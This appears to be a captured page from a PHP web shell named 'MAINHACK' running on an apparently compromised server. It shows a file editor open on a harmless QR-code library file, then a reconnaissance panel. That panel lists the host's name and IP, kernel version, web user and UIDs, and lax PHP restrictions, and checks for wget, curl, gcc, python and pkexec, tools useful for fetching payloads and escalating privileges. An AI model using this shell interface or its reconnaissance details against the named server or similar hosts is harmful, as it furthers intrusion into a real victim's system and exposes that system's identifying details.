[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Mode.php
<?php declare(strict_types = 1); namespace BaconQrCode\Common; use DASPRiD\Enum\AbstractEnum; /** * Enum representing various modes in which data can be encoded to bits. * * @method static self TERMINATOR() * @method static self NUMERIC() * @method static self ALPHANUMERIC() * @method static self STRUCTURED_APPEND() * @method static self BYTE() * @method static self ECI() * @method static self KANJI() * @method static self FNC1_FIRST_POSITION() * @method static self FNC1_SECOND_POSITION() * @method static self HANZI() */ final class Mode extends AbstractEnum { protected const TERMINATOR = [[0, 0, 0], 0x00]; protected const NUMERIC = [[10, 12, 14], 0x01]; protected const ALPHANUMERIC = [[9, 11, 13], 0x02]; protected const STRUCTURED_APPEND = [[0, 0, 0], 0x03]; protected const BYTE = [[8, 16, 16], 0x04]; protected const ECI = [[0, 0, 0], 0x07]; protected const KANJI = [[8, 10, 12], 0x08]; protected const FNC1_FIRST_POSITION = [[0, 0, 0], 0x05]; protected const FNC1_SECOND_POSITION = [[0, 0, 0], 0x09]; protected const HANZI = [[8, 10, 12], 0x0d]; /** * @param int[] $characterCountBitsForVersions */ protected function __construct( private readonly array $characterCountBitsForVersions, private readonly int $bits ) { } /** * Returns the number of bits used in a specific QR code version. */ public function getCharacterCountBits(Version $version) : int { $number = $version->getVersionNumber(); if ($number <= 9) { $offset = 0; } elseif ($number <= 26) { $offset = 1; } else { $offset = 2; } return $this->characterCountBitsForVersions[$offset]; } /** * Returns the four bits used to encode this mode. */ public function getBits() : int { return $this->bits; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002